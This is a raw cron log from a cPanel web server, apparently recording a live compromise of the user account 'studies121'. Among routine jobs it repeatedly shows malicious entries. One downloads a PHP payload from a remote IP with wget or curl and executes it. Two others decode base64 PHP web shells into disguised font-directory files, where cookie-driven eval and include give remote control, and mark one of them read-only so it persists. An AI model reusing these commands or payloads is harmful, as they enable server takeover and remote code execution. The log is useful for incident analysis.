Sep  8 01:10:01 ip-184-168-122-23 CROND[15804]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:10:01 ip-184-168-122-23 CROND[15805]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 01:10:01 ip-184-168-122-23 CROND[15806]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 01:10:01 ip-184-168-122-23 CROND[15807]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:10:01 ip-184-168-122-23 CROND[15808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:10:01 ip-184-168-122-23 CROND[15809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:10:01 ip-184-168-122-23 CROND[15815]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:11:01 ip-184-168-122-23 CROND[15901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:11:01 ip-184-168-122-23 CROND[15904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:11:01 ip-184-168-122-23 CROND[15905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:11:01 ip-184-168-122-23 CROND[15903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:12:02 ip-184-168-122-23 CROND[16074]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:12:02 ip-184-168-122-23 CROND[16076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:12:02 ip-184-168-122-23 CROND[16079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:12:02 ip-184-168-122-23 CROND[16080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:12:02 ip-184-168-122-23 CROND[16078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:13:01 ip-184-168-122-23 CROND[16161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:13:01 ip-184-168-122-23 CROND[16162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:13:01 ip-184-168-122-23 CROND[16164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:13:01 ip-184-168-122-23 CROND[16166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:14:01 ip-184-168-122-23 CROND[16241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:14:01 ip-184-168-122-23 CROND[16244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:14:01 ip-184-168-122-23 CROND[16243]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:14:01 ip-184-168-122-23 CROND[16245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:14:01 ip-184-168-122-23 CROND[16246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:15:01 ip-184-168-122-23 CROND[16351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:15:01 ip-184-168-122-23 CROND[16350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:15:01 ip-184-168-122-23 CROND[16352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:15:01 ip-184-168-122-23 CROND[16353]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 01:15:01 ip-184-168-122-23 CROND[16354]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:15:01 ip-184-168-122-23 CROND[16355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:16:01 ip-184-168-122-23 CROND[16480]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:16:01 ip-184-168-122-23 CROND[16481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:16:01 ip-184-168-122-23 CROND[16482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:16:01 ip-184-168-122-23 CROND[16483]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 01:16:01 ip-184-168-122-23 CROND[16478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:16:01 ip-184-168-122-23 CROND[16479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:17:01 ip-184-168-122-23 CROND[16565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:17:01 ip-184-168-122-23 CROND[16567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:17:01 ip-184-168-122-23 CROND[16568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:17:01 ip-184-168-122-23 CROND[16569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:18:01 ip-184-168-122-23 CROND[16727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:18:01 ip-184-168-122-23 CROND[16731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:18:01 ip-184-168-122-23 CROND[16730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:18:01 ip-184-168-122-23 CROND[16732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:18:01 ip-184-168-122-23 CROND[16729]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:19:01 ip-184-168-122-23 CROND[16811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:19:01 ip-184-168-122-23 CROND[16814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:19:01 ip-184-168-122-23 CROND[16813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:19:01 ip-184-168-122-23 CROND[16816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:20:01 ip-184-168-122-23 CROND[16897]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 01:20:01 ip-184-168-122-23 CROND[16898]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 01:20:01 ip-184-168-122-23 CROND[16905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:20:01 ip-184-168-122-23 CROND[16903]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 01:20:01 ip-184-168-122-23 CROND[16904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:20:01 ip-184-168-122-23 CROND[16901]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:20:01 ip-184-168-122-23 CROND[16907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:20:01 ip-184-168-122-23 CROND[16906]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:20:01 ip-184-168-122-23 CROND[16902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:21:01 ip-184-168-122-23 CROND[16996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:21:01 ip-184-168-122-23 CROND[16998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:21:01 ip-184-168-122-23 CROND[16999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:21:01 ip-184-168-122-23 CROND[17000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:22:01 ip-184-168-122-23 CROND[17079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:22:01 ip-184-168-122-23 CROND[17080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:22:01 ip-184-168-122-23 CROND[17082]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
